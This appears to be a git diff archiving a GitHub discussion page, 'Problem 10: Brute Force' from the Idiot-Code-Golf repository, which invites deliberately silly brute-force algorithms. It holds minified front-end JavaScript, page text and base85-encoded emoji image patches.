s=(V,D)=>ae(V,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_selector-observer_dist_index_esm_js"],{64463:(V,D,B)=>{B.d(D,{N7:()=>re});var w=B(8439),M=null,T=null,R=[];function P(e,t){var n=[];function i(){var l=n;n=[],t(l)}s(i,"processBatchQueue");function r(){for(var l=arguments.length,c=Array(l),x=0;x{B.d(D,{Z:()=>w});function w(){if(!(this instanceof w))return new w;this.size=0,this.uid=0,this.selectors=[],this.indexes=Object.create(this.indexes),this.activeIndexes=[]}s(w,"SelectorSet");var M=window.document.documentElement,T=M.matches||M.webkitMatchesSelector||M.mozMatchesSelector||M.oMatchesSelector||M.msMatchesSelector;w.prototype.matchesSelector=function(a,u){return T.call(a,u)},w.prototype.querySelectorAll=function(a,u){return u.querySelectorAll(a)},w.prototype.indexes=[];var R=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"ID",selector:s(function(u){var o;if(o=u.match(R))return o[0].slice(1)},"matchIdSelector"),element:s(function(u){if(u.id)return[u.id]},"getElementId")});var P=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"CLASS",selector:s(function(u){var o;if(o=u.match(P))return o[0].slice(1)},"matchClassSelector"),element:s(function(u){var o=u.className;if(o){if(typeof o=="string")return o.split(/\s/);if(typeof o=="object"&&"baseVal"in o)return o.baseVal.split(/\s/)}},"getElementClassNames")});var N=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;w.prototype.indexes.push({name:"TAG",selector:s(function(u){var o;if(o=u.match(N))return o[0].toUpperCase()},"matchTagSelector"),element:s(function(u){return[u.nodeName.toUpperCase()]},"getElementTagName")}),w.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var L;typeof window.Map=="function"?L=window.Map:L=function(){function a(){this.map={}}return s(a,"Map"),a.prototype.get=function(u){return this.map[u+" "]},a.prototype.set=function(u,o){this.map[u+" "]=o},a}();var F=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function E(a,u){a=a.slice(0).concat(a.default);var o=a.length,d,f,p,m,y=u,h,g,v=[];do if(F.exec(""),(p=F.exec(y))&&(y=p[3],p[2]||!y)){for(d=0;d + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Problem 10: Brute Force · Discussion #15 · Ta180m/Idiot-Code-Golf + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + Skip to content + + + + + + + + + + + + + + +
    + +
    + + + + + + + +
    + + + +
    + + + + + + + + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + Ta180m  /   + Idiot-Code-Golf  /   + Discussions #15  /   + +
    +
    + + + +
    + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + +
    + + + + + + + + + + +
    + + +
    +
    +
    + + + + + + + + + + + +
    + +
    + +
    +
    + + + / + + Idiot-Code-Golf + + + Public +
    + +
    + +
      + +
    • +
      +
      +
      +
    • + + +
    • + +
      + + + + + Unwatch + + + + + 1 + + + + +
      +
      +

      Notifications

      + +
      + +
      +
      + + + + + + + + + + + +
      + + + + + Get push notifications on iOS or Android. + +
      +
      +
      +
      + + + + +
      +
      +
      + + + +
    • + +
    • + Fork + 0 + + +
    • + +
    • + + +
      +
      + + + +
      + + +
      + + + + +
      + +
      +
      + + + + + + + +
      + +
      +
      +
      +
      +
      +
    • + + + +
    + +
    + +
    +
    + + + + +
    + + + + +
    + + +
    + + + + + + + + + + +
    + + + + + + + + + + + + +
    + + +
    + +
    + +
    +
    + +
    +
    +
    +

    + + Problem 10: Brute Force + + #15 +

    +
    + Unanswered +
    + + Ta180m + + + asked this question in + Q&A +
    +
    +
    +
    + +
    +
    +
    +
    + +
    +
    +
    + + +
    +
    +
    +
    + +
    +
    +
    +
    +
    +
    + + Problem 10: Brute Force + + #15 +
    +
    +
    + + +
    + on May 5, 2021 + · + 0 answers +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    + + +
    +
    +
    + +
    +
    +
    +
    +
    + + + + + +
    + +
    +
    + +
    + + +
    + +

    + + + +
    + Ta180m + +
    +
    + + + on May 5, 2021 + + +
    + + + Maintainer + + + +
    + +

    +
    +
    + + +
    +
    + + + + +
    + + + + + +
    +

    We all know brute force can solve anything. Write a stupid brute force algorithm to a simple problem!

    +

    For example, to calculate the square of an integer, you +could check every number starting from 1 if it's square root is the +original number. Brute force for the win!

    +
    + + + +
    + + +
    +
    +
    + + + +
    +
    + +
    + + + +
    + + + +
    +
    +
    +
    + + + + + + + + + + + +

    Replies

    + +
    +
    +
    +
    + 0 suggested answers +
    + +
    + +
    + + + +
    +
    +
    + +
    + + + + + + +
    + +
    +
    + +
    + + +
    +
    + + +
    + +
    + +
    + + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + + + + + +
    + + + + + +
    + Select a reply + ctrl . +
    + + + + + + + + +
    +
    + + + +
    + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    +
    + + + + +
    + + + + + + + + + +
    +
    + + + + +
    + + +
    +
    +
    +
    +
    +
    +
    + +
    +
    +
    +
    + Remember, contributions to this repository should follow + our + GitHub Community Guidelines. +
    + +
    + +
    + + + +
    + +
    +
    +
    +
    + + + Category + + +
    +
    + Change category + +
    + + + + + + +
    +
    +
    + + + + Q&A + +
    + +
    +
    + +
    + +
    + + + + Labels + + + + +
    +
    + +
    +
    + + + +
    + +
    + +
    + None yet +
    + +
    + + +
    +
    +
    + 1 participant +
    +
    + + @Ta180m +
    +
    +
    + + + + + + +
      +
    • +
      + + + Lock conversation + + +
      +
      + +

      + Lock conversation on this discussion +

      +
      +
      +
        +
      • Other users can’t add new comments to this discussion.
      • +
      • + You and other collaborators + with access + to this repository can still leave comments that others can see. +
      • +
      • You can always unlock this discussion again in the future.
      • +
      +
      + +
      +
      +
    • + +
    • +
      +
      + + + Transfer discussion + + + + + + + + + + +
      +
    • + + +
    • +
      + + + + Pin discussion + + + +
      + +

      + Configure pinned discussion +

      +
      + +
      +
      +

      + +

      + + + + + +
      + + + +
      +
      +
      +
      + +
      + + + + + +
      +
      +
      + +
      + + + + + + +
      +
      +
      +

      Up to 4 discussions can be pinned and they will appear publicly at the top of the discussions page.

      +
      + + +
      + +
      +
      +
      +
      +
    • + + +
    • + + Create issue from discussion + +
    • + + +
    • + +
      + +
      +
      +
      +

      Delete discussion?

      +
      +
      + +
      +
      +
      +
      +
      +

      The discussion will be deleted permanently. You will not be able to restore the discussion or its comments

      +
      +
      +
      + + +
      +
      +
    • +
    + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    Loading complete
    \ No newline at end of file diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f389.png b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f389.png new file mode 100644 index 0000000000000000000000000000000000000000..5a6d5af253d46865f27d4bf5bc728074398332ea GIT binary patch literal 3258 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f440.png b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f440.png new file mode 100644 index 0000000000000000000000000000000000000000..0b11401c9ef1119f827fb76f75eb01fbef0e20e4 GIT binary patch literal 1326 zcmV+}1=0G6P)y2bWnv_ns39?ipotMR21GP5 zK@lNlwCB4Utn0pDA8Z0!*LMBx))riT=Da;Ur`via^K`rF|4Gi>@1OU1zs~c#t5!AC zP(uwhfw5_mi&(^xv&_2S{US+X2yzX^1>)Zf*2vBd}mX=SX=r}IuXkv&kO~M zl&mNUqnxmrVjKXOxhp?W57x=yc#x>bpq52B zOdB(kBoTD9&+EZf_V5}b(nm^6V4Gzr3}6Rh#dIt#E}=cbs#8J7$yQD9o+ zF^Yz~%`5BNVLx_|6jNAal6KA$axp83sZ0~YKtJV`wPlRV%6)iXOD?3cJ&0H{Ubs z44|i%-Z=v>V=FB@&pwX1nuO7Mys*vyI>U_N->yc&4MbS8)Utxv83ceTi&!Q5_o~MULM%$bNRSi&olrpM=Zr#9YNbw1`*M zsR%DzB}s-ny?n|cd>r8{GcJGhtSBx!Q2+4CIs-VMaa-hJ)-`u(;*~>G&fz91`XR5Z zQ1|3iT8pgc^5R@W#%QhwTV0y#=7}yhmpRef6-0|wq+oY=Wec;lP^5aX&PIGz zneDgwTc^dG7I@BXFXKe%L!MPP)r+mpXaUDe=IN6fYeyCPh6f4K94`@xoSjNKZ*ggWF7shZfVS9OXxr2)EFYr?idr zW~-0mCMjv&?&UYGs1@dG*960;1QPAfEC*Zt+VON?NFv1FOxQ8b7+nOAuIo=O7h9!2 z@ADt`7Xt(d(@#HP3%Us5PClCsJBsZ-DJ5TLv+aHr3 kZC|_6Y(ot-)X)m*Ur^}){MmW^;s5{u07*qoM6N<$f?P;@e*gdg literal 0 HcmV?d00001 diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f44d.png b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f44d.png new file mode 100644 index 0000000000000000000000000000000000000000..0cd8f6f25b8e1ac39c98e3af9434e84e3f695da2 GIT binary patch literal 2936 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 literal 0 HcmV?d00001 diff --git a/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f604.png b/archive/Problem 10 Brute Force · Discussion #15 · Ta180m_Idiot-Code-Golf_files/1f604.png new file mode 100644 index 0000000000000000000000000000000000000000..a297be1fa3d399cf9acbddbeba595f24eee2f2bc GIT binary patch literal 3064 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 